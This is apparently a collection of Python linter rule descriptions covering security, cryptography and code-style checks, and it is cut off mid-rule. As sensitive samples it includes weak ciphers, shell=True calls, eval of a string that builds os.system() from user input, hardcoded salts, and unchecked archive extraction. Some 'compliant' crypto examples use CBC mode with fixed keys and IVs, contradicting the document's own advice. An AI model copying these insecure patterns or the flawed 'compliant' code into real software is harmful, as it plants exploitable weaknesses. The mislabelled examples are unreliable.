Email fields such as subject, to, cc, bcc, from are set in email "headers".  Using unvalidated user input to set those fields might allow attackers to inject new line characters in headers to craft malformed SMTP requests. Although modern libraries are filtering new line character by default, user data used in email "headers" should always be validated.

In the past, it has led to the following vulnerabilities:

Ask Yourself Whether

  • Unvalidated user input are used to set email headers.
  • Email content contains data provided by users and it is not sanitized.
  • Email recipient list or body are based user inputs.

You are at risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

* Use an email library which sanitizes headers (Flask-Mail or django.core.mail).

* Use html escape functions to sanitize every piece of data used to in the email body.

* Verify application logic to make sure that email base feature can not be abuse to:

Send arbitrary email for spamming or fishing

Disclose sensitive email content

Sensitive Code Example

smtplib

import smtplib

def send(from_email, to_email, msg):
  server = smtplib.SMTP('localhost', 1025)
  server.sendmail(from_email, to_email, msg) # Sensitive

Django

from django.core.mail import send_mail

def send(subject, msg, from_email, to_email):
  send_mail(subject, msg, from_email, [to_email]) # Sensitive

Flask-Mail

from flask import Flask
from flask_mail import Mail, Message

app = Flask(__name__)

def send(subject, msg, from_email, to_email):
    mail = Mail(app)
    msg = Message(subject, [to_email], body, sender=from_email)
    mail.send(msg) # Sensitive{code}

See

Deprecated

This rule is deprecated, and will eventually be removed.

python:S5542

To perform secure cryptography, operation modes and padding scheme are essentials and should be used correctly according to the encryption algorithm:

  • For block cipher encryption algorithms (like AES), the GCM (Galois Counter Mode) mode, which works internally with zero/no padding scheme, is recommended. At the opposite, these modes and/or schemes are highly discouraged:
    • Electronic Codebook (ECB) mode is vulnerable because it doesn't provide serious message confidentiality: under a given key any given plaintext block always gets encrypted to the same ciphertext block.
    • Cipher Block Chaining (CBC) with PKCS#5 padding (or PKCS#7) is vulnerable to padding oracle attacks.
  • RSA encryption algorithm should be used with the recommended padding scheme (OAEP)

Noncompliant Code Examples

pycryptodome/pycryptodomex library:

import os
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes

# Example for a symmetric cipher: AES
aes = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())  # Noncompliant
aes = Cipher(algorithms.AES(key), modes.ECB(), backend=default_backend())  # Noncompliant

# Example for a asymmetric cipher: RSA
ciphertext = public_key.encrypt(
  message,
  padding.PKCS1v15() # Noncompliant
)

plaintext = private_key.decrypt(
  ciphertext,
  padding.PKCS1v15() # Noncompliant
)

pydes library:

# For DES cipher
des = pyDes.des('ChangeIt') # Noncompliant
des = pyDes.des('ChangeIt', pyDes.CBC, "\0\0\0\0\0\0\0\0", pad=None, padmode=pyDes.PAD_PKCS5) # Noncompliant
des = pyDes.des('ChangeIt', pyDes.ECB, "\0\0\0\0\0\0\0\0", pad=None, padmode=pyDes.PAD_PKCS5) # Noncompliant

pycrypto library is not maintained and therefore should not be used:

# https://pycrypto.readthedocs.io/en/latest/
from Crypto.Cipher import *
from Crypto.Random import get_random_bytes
from Crypto.Util import Counter
from Crypto.PublicKey import RSA

# Example for a symmetric cipher: AES
AES.new(key, AES.MODE_ECB)  # Noncompliant
AES.new(key, AES.MODE_CBC, IV=iv)  # Noncompliant

# Example for a asymmetric cipher: RSA
cipher = PKCS1_v1_5.new(key) # Noncompliant

Compliant Solution

pycryptodome/pycryptodomex library:

from Cryptodome.Cipher import AES
from Cryptodome.Random import get_random_bytes
from Cryptodome.PublicKey import RSA

# AES is the recommended symmetric cipher with GCM mode
AES.new(key, AES.MODE_GCM)  # Compliant

# RSA is the recommended asymmetric cipher with OAEP padding
cipher = PKCS1_OAEP.new(key) # Compliant

pyca library:

import os
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes

# AES is the recommended symmetric cipher with GCM mode
aes = Cipher(algorithms.AES(key), modes.GCM(iv), backend=default_backend())  # Compliant

# RSA is the recommended asymmetric cipher with OAEP padding
ciphertext = public_key.encrypt(
  message,
  padding.OAEP( # Compliant
    mgf=padding.MGF1(algorithm=hashes.SHA256()),
    algorithm=hashes.SHA256(),
    label=None
  )
)

plaintext = private_key.decrypt(
  ciphertext,
  padding.OAEP( # Compliant
    mgf=padding.MGF1(algorithm=hashes.SHA256()),
    algorithm=hashes.SHA256(),
    label=None
  )
)

See

python:S5547

Strong cipher algorithms are cryptographic systems resistant to cryptanalysis, they are not vulnerable to well-known attacks like brute force attacks for example.

A general recommendation is to only use cipher algorithms intensively tested and promoted by the cryptographic community.

More specifically for block cipher, it's not recommended to use algorithm with a block size inferior than 128 bits.

Noncompliant Code Examples

pycryptodomex library:

from Crypto.Cipher import DES, DES3, ARC2, ARC4, Blowfish, AES
from Crypto.Random import get_random_bytes

key = b'-8B key-'
DES.new(key, DES.MODE_OFB) # Noncompliant: DES works with 56-bit keys allow attacks via exhaustive search

key = DES3.adjust_key_parity(get_random_bytes(24))
cipher = DES3.new(key, DES3.MODE_CFB) # Noncompliant: Triple DES is vulnerable to meet-in-the-middle attack

key = b'Sixteen byte key'
cipher = ARC2.new(key, ARC2.MODE_CFB) # Noncompliant: RC2 is vulnerable to a related-key attack

key = b'Very long and confidential key'
cipher = ARC4.new(key) # Noncompliant: vulnerable to several attacks (see https://en.wikipedia.org/wiki/RC4#Security)

key = b'An arbitrarily long key'
cipher = Blowfish.new(key, Blowfish.MODE_CBC) # Noncompliant: Blowfish use a 64-bit block size makes it vulnerable to birthday attacks

pyca library:

import os
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

key = os.urandom(16)
iv = os.urandom(16)

tdes4 = Cipher(algorithms.TripleDES(key), mode=None, backend=default_backend()) # Noncompliant: Triple DES is vulnerable to meet-in-the-middle attack
bf3 = Cipher(algorithms.Blowfish(key), mode=None, backend=default_backend()) # Noncompliant: Blowfish use a 64-bit block size makes it vulnerable to birthday attacks
rc42 = Cipher(algorithms.ARC4(key), mode=None, backend=default_backend()) # Noncompliant: vulnerable to several attacks (see https://en.wikipedia.org/wiki/RC4#Security)

pydes library:

import pyDes;

des1 = pyDes.des('ChangeIt')  # Noncompliant: DES works with 56-bit keys allow attacks via exhaustive search
des2 = pyDes.des('ChangeIt', pyDes.CBC, "\0\0\0\0\0\0\0\0", pad=None, padmode=pyDes.PAD_PKCS5) # Noncompliant: DES works with 56-bit keys allow attacks via exhaustive search

tdes1 = pyDes.triple_des('ChangeItWithYourKey!!!!!')  # Noncompliant: Triple DES is vulnerable to meet-in-the-middle attack
tdes2 = pyDes.triple_des('ChangeItWithYourKey!!!!!', pyDes.CBC, "\0\0\0\0\0\0\0\0", pad=None, padmode=pyDes.PAD_PKCS5) # Noncompliant: Triple DES is vulnerable to meet-in-the-middle attack

pycrypto library is not maintained and therefore should not be used:

from Crypto.Cipher import *

des3 = DES.new('ChangeIt') # Noncompliant: DES works with 56-bit keys allow attacks via exhaustive search
tdes3 = DES3.new('ChangeItChangeIt') # Noncompliant: Triple DES is vulnerable to meet-in-the-middle attack
bf2 = Blowfish.new('ChangeItWithYourKey', Blowfish.MODE_CBC, 'ChangeIt') # Noncompliant: Blowfish use a 64-bit block size makes it
rc21 = ARC2.new('ChangeItWithYourKey', ARC2.MODE_CFB, 'ChangeIt') # Noncompliant: RC2 is vulnerable to a related-key attack
rc41 = ARC4.new('ChangeItWithYourKey') # Noncompliant: vulnerable to several attacks (see https://en.wikipedia.org/wiki/RC4#Security)

Compliant Solution

pycryptodomex library:

from Cryptodome.Cipher import AES

key = b'Sixteen byte key'
cipher = AES.new(key, AES.MODE_CCM) # Compliant

pycryptodome library:

from Crypto.Cipher import AES

key = b'Sixteen byte key'
cipher = AES.new(key, AES.MODE_CCM) # Compliant

pyca library:

import os
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

key = os.urandom(16)
iv = os.urandom(16)

aes2 = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) # Compliant

Old pycrypto library and not maintained anymore:

from Crypto.Cipher import *

aes1 = AES.new('This is a key123', AES.MODE_CBC, 'This is an IV456') # Compliant

See

python:S2710

By convention, the first argument to class methods, i.e. methods decorated with @classmethod, is named cls as a representation and a reminder that the argument is the class itself. Name the argument something else, and you stand a good chance of confusing both users and maintainers of the code. It might also indicate that the cls parameter was forgotten, in which case calling the method will most probably fail. This rule also applies to methods __init_subclass__, __class_getitem__ and __new__ as their first argument is always the class instead of "self".

By default this rule accepts cls and mcs, which is sometime used in metaclasses, as valid names for class parameters. You can set your own list of accepted names via the parameter classParameterNames.

This rule raises an issue when the first parameter of a class method is not an accepted name.

Noncompliant Code Example

class Rectangle(object):

  @classmethod
  def area(bob, height, width):  #Noncompliant
    return height * width

Compliant Solution

class Rectangle(object):

  @classmethod
  def area(cls, height, width):
    return height * width

See

python:S3403

Operators is and is not check if their operands point to the same instance, thus they will always return respectively True and False when they are used to compare objects of different type. Such comparisons can only be bugs.

Noncompliant Code Example

myint = 1
mystring = "1"
value = myint is mystring  # Noncompliant. Always False
value = myint is not mystring  # Noncompliant. Always True
python:S1862

A chain of if/else if statements is evaluated from top to bottom. At most, only one branch will be executed: the first one with a condition that evaluates to true.

Therefore, duplicating a condition automatically leads to dead code. Usually, this is due to a copy/paste error. At best, it's simply dead code and at worst, it's a bug that is likely to induce further bugs as the code is maintained, and obviously it could lead to unexpected behavior.

Noncompliant Code Example

if param == 1:
  openWindow()
elif param == 2:
  closeWindow()
elif param == 1:            # Noncompliant
  moveWindowToTheBackground()

Compliant Solution

if param == 1:
  openWindow()
elif param == 2:
  closeWindow()
elif param == 3:
  moveWindowToTheBackground()

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
python:S2159

In some cases a comparison with operators ==, or != will always return True or always return False. When this happens, the comparison and all its dependent code can simply be removed. This includes:

  • comparing unrelated builtin types such as string and integer.
  • comparing class instances which do not implement __eq__ or __ne__ to an object of a different type (builtin or from an unrelated class which also doesn't implement __eq__ or __ne__).

Noncompliant Code Example

foo = 1 == "1"  # Noncompliant. Always False.

foo = 1 != "1"  # Noncompliant. Always True.

class A:
    pass

myvar = A() == 1  # Noncompliant. Always False.
myvar = A() != 1  # Noncompliant. Always True.

Compliant Solution

foo = 1 == int("1")

foo = str(1) != "1"

class Eq:
    def __eq__(self, other):
        return True

myvar = Eq() == 1
myvar = 1 == Eq()
myvar = Eq() != 1  # Ok. "__ne__" calls "__eq__" by default
myvar = 1 != Eq()
python:S5890

Type hints can be used to communicate the intended type of a given variable. These are not enforced at runtime and not respecting them might not necessarily lead to runtime errors.

It is however confusing and could lead to maintainability issues.

Noncompliant Code Example

def my_function():
    my_int: int = "string"  # Noncompliant

Compliant Solution

def my_function():
    my_str: str = "string"
python:S1578

Shared coding conventions allow teams to collaborate effectively. For that reason, module names should conform to a defined standard.

See

python:S1854

A dead store happens when a local variable is assigned a value that is not read by any subsequent instruction. Calculating or retrieving a value only to then overwrite it or throw it away, could indicate a serious error in the code. Even if it's not an error, it is at best a waste of resources. Therefore all calculated values should be used.

Noncompliant Code Example

def func(a, b, compute):
    i = a + b  # Noncompliant; calculation result not used before value is overwritten
    i = compute()  # Noncompliant; the value is not used before leaving the function

Compliant Solution

def func(a, b, compute):
    i = a + b
    i += compute()
    return i

Exceptions

This rule ignores initializations to -1, 0, 1, None, True, False and "".

No issue will be raised on unpacked variables.

See

python:S3516

When a function is designed to return an invariant value, it may be poor design, but it shouldn't adversely affect the outcome of your program. However, when it happens on all paths through the logic, it is surely a bug.

This rule raises an issue when a function contains several return statements that all return the same value.

Noncompliant Code Example

def foo(a):  # NonCompliant
    b = 12
    if a == 1:
        return b
    return b
python:S2823

__all__ is used to define the list of module's names that should be imported when from package import * is used. For that reason, it may only contain strings.

Noncompliant Code Example

class MyClass:
    pass

__all__ = [
    MyClass  # Noncompliant
]

Compliant Solution

class MyClass:
    pass

__all__ = [
    "MyClass"
]

See

python:S5655

The CPython interpreter does not check arguments type when functions are called. However a function can express the type it expects for each argument in its documentation or by using Type Hints. Calling such a function with an argument of a different type can easily create a bug. Even if it works right now it can fail later when APIs evolve or when type checks are added (ex: with isinstance).

This rule raises an issue when a function or method is called with an argument of a different type than the one described in its type annotations. It also checks argument types for builtin functions.

Noncompliant Code Example

def func(var: str):
    pass

func(42)  # Noncompliant

len(1)  # Noncompliant

Compliant Solution

def func(var: str):
    pass

func("42")

len("1")

See

python:S3358

Just because you can do something, doesn't mean you should, and that's the case with nested conditional expressions. Nesting conditional expressions results in the kind of code that may seem clear as day when you write it, but six months later will leave maintainers (or worse - future you) scratching their heads and cursing.

Instead, err on the side of clarity, and use another line to express the nested operation as a separate statement.

Noncompliant Code Example

def get_title(person):
    return "Mr. " if person.gender == Person.MALE else "Mrs. " if person.is_married() else "Miss "  # Noncompliant

Compliant Solution

def get_title(person):
    if person.gender == Person.MALE:
        return "Mr. "
    return "Mrs. " if person.is_married() else "Miss "

Exceptions

No issue is raised on conditional expressions in comprehensions.

python:S4721

Arbitrary OS command injection vulnerabilities are more likely when a shell is spawned rather than a new process, indeed shell meta-chars can be used (when parameters are user-controlled for instance) to inject OS commands.

Ask Yourself Whether

  • OS command name or parameters are user-controlled.

There is a risk if you answered yes to this question.

Recommended Secure Coding Practices

Use functions that don't spawn a shell.

Sensitive Code Example

Python 3

subprocess.run(cmd, shell=True)  # Sensitive
subprocess.Popen(cmd, shell=True)  # Sensitive
subprocess.call(cmd, shell=True)  # Sensitive
subprocess.check_call(cmd, shell=True)  # Sensitive
subprocess.check_output(cmd, shell=True)  # Sensitive
os.system(cmd)  # Sensitive: a shell is always spawn

Python 2

cmd = "when a string is passed through these function, a shell is spawn"
(_, child_stdout, _) = os.popen2(cmd)  # Sensitive
(_, child_stdout, _) = os.popen3(cmd)  # Sensitive
(_, child_stdout) = os.popen4(cmd)  # Sensitive


(child_stdout, _) = popen2.popen2(cmd)  # Sensitive
(child_stdout, _, _) = popen2.popen3(cmd)  # Sensitive
(child_stdout, _) = popen2.popen4(cmd)  # Sensitive

Compliant Solution

Python 3

# by default shell=False, a shell is not spawn
subprocess.run(cmd)  # Compliant
subprocess.Popen(cmd)  # Compliant
subprocess.call(cmd)  # Compliant
subprocess.check_call(cmd)  # Compliant
subprocess.check_output(cmd)  # Compliant

# always in a subprocess:
os.spawnl(mode, path, *cmd)  # Compliant
os.spawnle(mode, path, *cmd, env)  # Compliant
os.spawnlp(mode, file, *cmd)  # Compliant
os.spawnlpe(mode, file, *cmd, env)  # Compliant
os.spawnv(mode, path, cmd)  # Compliant
os.spawnve(mode, path, cmd, env)  # Compliant
os.spawnvp(mode, file, cmd)  # Compliant
os.spawnvpe(mode, file, cmd, env)  # Compliant

(child_stdout) = os.popen(cmd, mode, 1)  # Compliant
(_, output) = subprocess.getstatusoutput(cmd)  # Compliant
out = subprocess.getoutput(cmd)  # Compliant
os.startfile(path)  # Compliant
os.execl(path, *cmd)  # Compliant
os.execle(path, *cmd, env)  # Compliant
os.execlp(file, *cmd)  # Compliant
os.execlpe(file, *cmd, env)  # Compliant
os.execv(path, cmd)  # Compliant
os.execve(path, cmd, env)  # Compliant
os.execvp(file, cmd)  # Compliant
os.execvpe(file, cmd, env)  # Compliant

Python 2

cmdsargs = ("use", "a", "sequence", "to", "directly", "start", "a", "subprocess")

(_, child_stdout) = os.popen2(cmdsargs)  # Compliant
(_, child_stdout, _) = os.popen3(cmdsargs)  # Compliant
(_, child_stdout) = os.popen4(cmdsargs)  # Compliant

(child_stdout, _) = popen2.popen2(cmdsargs)  # Compliant
(child_stdout, _, _) = popen2.popen3(cmdsargs)  # Compliant
(child_stdout, _) = popen2.popen4(cmdsargs)  # Compliant

See

Deprecated

This rule is deprecated, and will eventually be removed.

python:S2053

In cryptography, "salt" is extra piece of data which is included in a hashing algorithm. It makes dictionary attacks more difficult. Using a cryptographic hash function without an unpredictable salt increases the likelihood that an attacker will be able to successfully guess a hashed value such as a password with a dictionary attack.

This rule raises an issue when a hashing function which has been specifically designed for hashing sensitive data, such as pbkdf2, is used with a non-random, reused or too short salt value. It does not raise an issue on base hashing algorithms such as sha1 or md5 as these are often used for other purposes.

Recommended Secure Coding Practices

  • use hashing functions generating their own salt or generate a long random salt of at least 32 bytes.
  • the salt is at least as long as the resulting hash value.
  • provide the salt to a safe hashing function such as PBKDF2.
  • save both the salt and the hashed value in the relevant database record; during future validation operations, the salt and hash can then be retrieved from the database. The hash is recalculated with the stored salt and the value being validated, and the result compared to the stored hash.

Noncompliant Code Example

hashlib

import crypt
from hashlib import pbkdf2_hmac

hash = pbkdf2_hmac('sha256', password, b'D8VxSmTZt2E2YV454mkqAY5e', 100000)    # Noncompliant: salt is hardcoded

crypt

hash = crypt.crypt(password)         # Noncompliant: salt is not provided

Compliant Solution

hashlib

import crypt
from hashlib import pbkdf2_hmac

salt = os.urandom(32)
hash = pbkdf2_hmac('sha256', password, salt, 100000)    # Compliant

crypt

salt = crypt.mksalt(crypt.METHOD_SHA256)
hash = crypt.crypt(password, salt)         # Compliant

See

python:S5042

Expanding archive files is security-sensitive. For example, expanding archive files has led in the past to the following vulnerabilities:

Applications that expand archive files (zip, tar, jar, war, 7z, ...) should verify the path where the archive's files are expanded and not trust blindly the content of the archive. Archive's files should not be expanded outside of the root directory where the archive is supposed to be expanded. Also, applications should control the size of the expanded data to not be a victim of Zip Bomb attack. Failure to do so could allow an attacker to use a specially crafted archive that holds directory traversal paths (e.g. ../../attacker.sh) or the attacker could overload the file system, processors or memory of the operating system where the archive is expanded making the target OS completely unusable.

This rule raises an issue when code handle archives. The goal is to guide security code reviews.

Ask Yourself Whether

  • there is no validation of the name of the archive entry
  • there is no validation of the effective path where the archive entry is going to be expanded
  • there is no validation of the size of the expanded archive entry
  • there is no validation of the ratio between the compressed and uncompressed archive entry

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Validate the full path of the extracted file against the full path of the directory where files are expanded:

  • the canonical path of the expanded file must start with the canonical path of the directory where files are extracted.
  • the name of the archive entry must not contain "..", i.e. reference to a parent directory.

Stop extracting the archive if any of its entries has been tainted with a directory traversal path.

Define and control the ratio between compressed and uncompress bytes.

Define and control the maximum allowed expanded file size.

Count the number of file entries extracted from the archive and abort the extraction if their number is greater than a predefined threshold.

Sensitive Code Example

import tarfile

tar = tarfile.open("attachment.tar.gz")  # Sensitive
tar.extractall()
tar.close()

See

python:S1481

If a local variable is declared but not used, it is dead code and should be removed. Doing so will improve maintainability because developers will not wonder what the variable is used for.

Noncompliant Code Example

def hello(name):
    message = "Hello " + name # Noncompliant
    print(name)
for i in range(10):
    foo()

Compliant Solution

def hello(name):
    message = "Hello " + name
    print(message)
for _ in range(10):
    foo()

Exceptions

_ as well as tuples will not raise an issue for this rule. The following examples are compliant:

for _ in range(10):
    do_something()
username, login, password = auth
do_something_else(username, login)
python:S1523

Executing code dynamically is security-sensitive. It has led in the past to the following vulnerabilities:

Some APIs enable the execution of dynamic code by providing it as strings at runtime. These APIs might be useful in some very specific meta-programming use-cases. However most of the time their use is frowned upon as they also increase the risk of Injected Code. Such attacks can either run on the server or in the client (exemple: XSS attack) and have a huge impact on an application's security.

This rule marks for review each occurrence of such dynamic code execution. This rule does not detect code injections. It only highlights the use of APIs which should be used sparingly and very carefully.

Ask Yourself Whether

  • the executed code may come from an untrusted source and hasn't been sanitized.
  • you really need to run code dynamically.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Regarding the execution of unknown code, the best solution is to not run code provided by an untrusted source. If you really need to do it, run the code in a sandboxed environment. Use jails, firewalls and whatever means your operating system and programming language provide (example: Security Managers in java, iframes and same-origin policy for javascript in a web browser).

Do not try to create a blacklist of dangerous code. It is impossible to cover all attacks that way.

Avoid using dynamic code APIs whenever possible. Hard-coded code is always safer.

Sensitive Code Example

import os

value = input()
command = 'os.system("%s")' % value

def evaluate(command, file, mode):
    eval(command)  # Sensitive.

eval(command)  # Sensitive. Dynamic code

def execute(code, file, mode):
    exec(code)  # Sensitive.
    exec(compile(code, file, mode))  # Sensitive.

exec(command)  # Sensitive.

See

Deprecated

This rule is deprecated, and will eventually be removed.

python:S2734

By contract, every Python function returns something, even if it's the None value, which can be returned implicitly by omitting the return statement, or explicitly.

The __init__ method is required to return None. A TypeError will be raised if the __init__ method either yields or returns any expression other than None. Returning some expression that evaluates to None will not raise an error, but is considered bad practice.

Noncompliant Code Example

class MyClass(object):
    def __init__(self):
        self.message = 'Hello'
        return self  # Noncompliant

Compliant Solution

class MyClass(object):
    def __init__(self):
        self.message = 'Hello'
python:S5727

Checking if a variable or parameter is None should only be done when you expect that it can be None. Doing so when the variable is always None or never None is confusing at best. At worse, there is a bug and the variable is not updated properly.

This rule raises an issue when expressions X is None, X is not None, X == None or X != None are constant, i.e. X is always None or never None.

Noncompliant Code Example

mynone = None
result = mynone is None: # Noncompliant. Always True.

if mynone == None: # Noncompliant. Always True.
    pass

if mynone is not None:  # Noncompliant. Always False.
    pass

if mynone == None:  # Noncompliant. Always False.
    pass

myint = 42
result = myint is None: # Noncompliant. Always False.

if myint == None: # Noncompliant. Always False.
    pass

if myint is not None:  # Noncompliant. Always True.
    pass

if myint == None:  # Noncompliant. Always True.
    pass

See

python:S5607

Calling an operator in python is equivalent to calling a special method (except for the identity operator is). Python provides a set of built-in operations. It is for example possible to add two integers: 1 + 2. It is however not possible to add a string and an integer: 1 + "2" and such an operation will raise a TypeError.

It is possible to define how an operator will behave with a custom class by defining the corresponding special method. See python documentation for a complete list of operators and their methods: arithmetic and bitwise operators, comparison operators.

For symmetrical binary operators you need to define two methods so that the order of operands doesn't matter, ex: __add__ and __radd__.

This rule raises an issue when an operator is used on incompatible types. Types are considered incompatible if no built-in operations between those types exist and none of the operands has implemented the corresponding special methods.

Noncompliant Code Example

class Empty:
    pass

class Add:
    def __add__(self, other):
        return 42

1 + 2
1 + "2"  # Noncompliant
Empty() + 1  # Noncompliant
Add() + 1
1 + Add()  # Noncompliant
Add() + Empty()
Empty() + Add()  # Noncompliant

Compliant Solution

class Empty:
    pass

class Add:
    def __add__(self, other):
        return 42

    def __radd__(self, other):
        return 42

Add() + 1
1 + Add()
Add() + Empty()
Empty() + Add()

See

python:S2733

The __exit__ method is invoked with four arguments: self, type, value and traceback. Leave one of these out of the method declaration and the result will be a TypeError at runtime.

Noncompliant Code Example

class MyClass:
   def __enter__(self):
       pass
   def __exit__(self, exc_type, exc_val):  # Noncompliant
       pass

Deprecated

This rule is deprecated; use S5722 instead.

python:S3827

Variables, Classes and functions should be defined before they are used, otherwise the code will fail.

Noncompliant Code Example

def noncompliant():
    foo()  # Noncompliant
    foo = sum

    func()  # Noncompliant
    def func():
        pass

    MyClass()  # Noncompliant
    class MyClass:
        pass

Compliant Solution

def compliant():
    foo = sum
    foo()

    def func():
        pass
    func()

    class MyClass:
        pass
    MyClass()
python:S2737

An except clause that only rethrows the caught exception has the same effect as omitting the except altogether and letting it bubble up automatically, but with more code and the additional detriment of leaving maintainers scratching their heads.

Such clauses should either be eliminated or populated with the appropriate logic.

Noncompliant Code Example

a = {}
try:
    a[5]
except KeyError:
    raise  # Noncompliant

Compliant Solution

a = {}
try:
    a[5]
except KeyError as e:
    logging.exception('error while accessing the dict')
    raise e
python:S100

Sharing some naming conventions is a key point to make it possible for a team to efficiently collaborate. This rule allows to check that all method names match a provided regular expression.

Noncompliant Code Example

With default provided regular expression: ^[a-z_][a-z0-9_]*$

class MyClass:
    def MyMethod(a,b):
        ...

Compliant Solution

class MyClass:
    def my_method(a,b):
        ...
python:S101

Shared coding conventions allow teams to collaborate effectively. This rule allows to check that all class names match a provided regular expression.

The default regular expression is based on PEP-8 standard. It allows "CapWords" convention and "snake_case" in lowercase. The "snake_case" convention is accepted by PEP-8 when the class is primarily used as a callable (ex: decorator, context manager, etc...). However the "CapWords" convention is recommended in every case.

Noncompliant Code Example

With default provided regular expression ^_?([A-Z_][a-zA-Z0-9]*|[a-z_][a-z0-9_]*)$:

class myClass:  # Noncompliant
   ...

class my_CONTEXT_manager:  # Noncompliant
    def __enter__(self):
        pass
    def __exit__(self, type, value, traceback):
        pass

Compliant Solution

class MyClass:
   ...

class my_context_manager:
    def __enter__(self):
        pass
    def __exit__(self, type, value, traceback):
        pass
python:S5445

Creating temporary files using insecure methods exposes the application to race conditions on filenames: a malicious user can try to create a file with a predictable name before the application does. A successful attack can result in other files being accessed, modified, corrupted or deleted. This risk is even higher if the application run with elevated permissions.

In the past, it has led to the following vulnerabilities:

Noncompliant Code Example

import tempfile

filename = tempfile.mktemp() # Noncompliant
tmp_file = open(filename, "w+")

Compliant Solution

import tempfile

tmp_file1 = tempfile.NamedTemporaryFile(delete=False) # Compliant; Easy replacement to tempfile.mktemp()
tmp_file2 = tempfile.NamedTemporaryFile() # Compliant; Created file will be automatically deleted

See

python:S5720

Instance methods, i.e. methods not annotated with @classmethod or @staticmethod, are expected to have at least one parameter. This parameter will reference the object instance on which the method is called. By convention, this first parameter is named "self".

Naming the "self" parameter differently is confusing. It might also indicate that the "self" parameter was forgotten, in which case calling the method will most probably fail.

Note also that creating methods which are used as static methods without the @staticmethod decorator is a bad practice because calling these methods on an instance will raise a `TypeError`. Either move the method out of the class or decorate it with @staticmethod.

This rule raises an issue when the first parameter of an instance method is not called "self".

Noncompliant Code Example

class MyClass:
    def send_request(request):  # Noncompliant. "self" was probably forgotten
        print("send_request")

class ClassWithStaticMethod:
    def static_method(param):  # Noncompliant
        print(param)
ClassWithStaticMethod().static_method(42)  # Method is available on the instance but calling it will raise a TypeError

Compliant Solution

class MyClass:
    def send_request(self, request):
        print("send_request")

class ClassWithStaticMethod:
    @staticmethod
    def static_method(param):
        print(param)
ClassWithStaticMethod().static_method(42)

Exceptions

This rule will also accept "cls" or "mcs" as first parameter's name for metaclasses' methods.

No issue will be raised for methods called __init_subclass__, __class_getitem__ or __new__ as these methods' first parameter is a class.

You can also disable issues on methods decorated with a specific decorator. Add these decorators to this rule's "ignoreDecorators" parameter.

With "ignoredDecorators" set to "abstractmethod"

from abc import abstractmethod, ABC

class MyClass(ABC):
    @abstractmethod
    def method():  # No issue, even if it is better in this case to also decorate with @staticmethod
        pass

See

python:FileComplexity

Most of the time, a very complex file breaks the Single Responsibility Principle and should be re-factored into several different files.

Deprecated

This rule is deprecated, and will eventually be removed.

python:S5685

The walrus operator := (also known as "assignment expression") should be used with caution as it can easily make code more difficult to understand and thus maintain. In such case it is advised to refactor the code and use an assignment statement (i.e. =) instead.

This rule raises an issue when the walrus operator is used in a way which makes the code confusing, as described in PEP 572.

Noncompliant Code Example

# using an assignment expression (:=) as an assignment statement (=) is more explicit
(v := f(p))  # Noncompliant
v0 = (v1 := f(p))  # Noncompliant

# using an assignment expression in a function call when keyword arguments are also used.
func(a=(b := f(p)))  # Noncompliant
func(a := f(p), b=2)  # Noncompliant
def func(param=(p := 21)):  # Noncompliant
    pass

# using an assignment expression in an annotation
def func(param: (p := 21) = 3):  # Noncompliant
    pass

# using assignment expression in an f-string. Character ":" is also used as a formatting marker in f-strings.
f'{(x:=10)}'  # Noncompliant
f'{x:=10}' # No issue raised but still not recommended. This is not an assignment expression. '=10' is passed to the f-string formatter.

Compliant Solution

v = f(p)
v0 = v1 = f(p)

value = f(p)
func(a=value)
func(value, b=2)
def func(param=21):
    p = 21

p = 21
def func(param: p = 3):
    pass

x = 10
f'{x}'

See

python:S5443

Operating systems have global directories where any user have write access. Those folders are mostly used as temporary storage areas like /tmp in Linux based systems. An application manipulating files from these folders is exposed to race conditions on filenames: a malicious user can try to create a file with a predictable name before the application does. A successful attack can result in other files being accessed, modified, corrupted or deleted. This risk is even higher if the application runs with elevated permissions.

In the past, it has led to the following vulnerabilities:

This rule raises an issue whenever it detects a hard-coded path to a publicly writable directory like /tmp (see complete list bellow). It also detects access to TMP and TMPDIR environment variables.

  • /tmp
  • /var/tmp
  • /usr/tmp
  • /dev/shm
  • /dev/mqueue
  • /run/lock
  • /var/run/lock
  • /Library/Caches
  • /Users/Shared
  • /private/tmp
  • /private/var/tmp
  • \Windows\Temp
  • \Temp
  • \TMP

Ask Yourself Whether

  • Files are read from or written into a publicly writable folder
  • The application creates files with predictable names into a publicly writable folder

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Use a dedicated sub-folder with tightly controlled permissions
  • Use secure-by-design APIs to create temporary files. Such API will make sure:
    • The generated filename is unpredictable
    • The file is readable and writable only by the creating user ID
    • The file descriptor is not inherited by child processes
    • The file will be destroyed as soon as it is closed

Sensitive Code Example

file = open("/tmp/temporary_file","w+") # Sensitive
tmp_dir = os.environ.get('TMPDIR') # Sensitive
file = open(tmp_dir+"/temporary_file","w+")

Compliant Solution

import tempfile

file = tempfile.TemporaryFile(dir="/tmp/my_subdirectory", mode='"w+") # Compliant

See

python:InequalityUsage

The forms <> and != are equivalent. But in Python 2.7.3 the <> form is considered obsolete.

Noncompliant Code Example

return a <> b # Noncompliant

Compliant Solution

return a != b
python:S5603

When a class or function is defined in a parent function or method, it is only visible in this parent function or method's scope. If the defined class or function is not used within this scope it is dead code, i.e. unnecessary, inoperative code that should be removed. Cleaning out dead code decreases the size of the maintained codebase, making it easier to understand the program and preventing bugs from being introduced.

Noncompliant Code Example

def noncompliant():
    def nested_function():  # Noncompliant
        print("nested_function")

    class NestedClass:  # Noncompliant
        def __init__(self):
            print("NestedClass")

Compliant Solution

def compliant():
    def nested_function():
        print("nested_function")

    class NestedClass:
        def __init__(self):
            print("NestedClass")

    nested_function()
    NestedClass()
python:S5724

Property getter, setter and deleter methods are called by the python interpreter with a specific number or arguments:

  • only "self" for property getter and deleter methods.
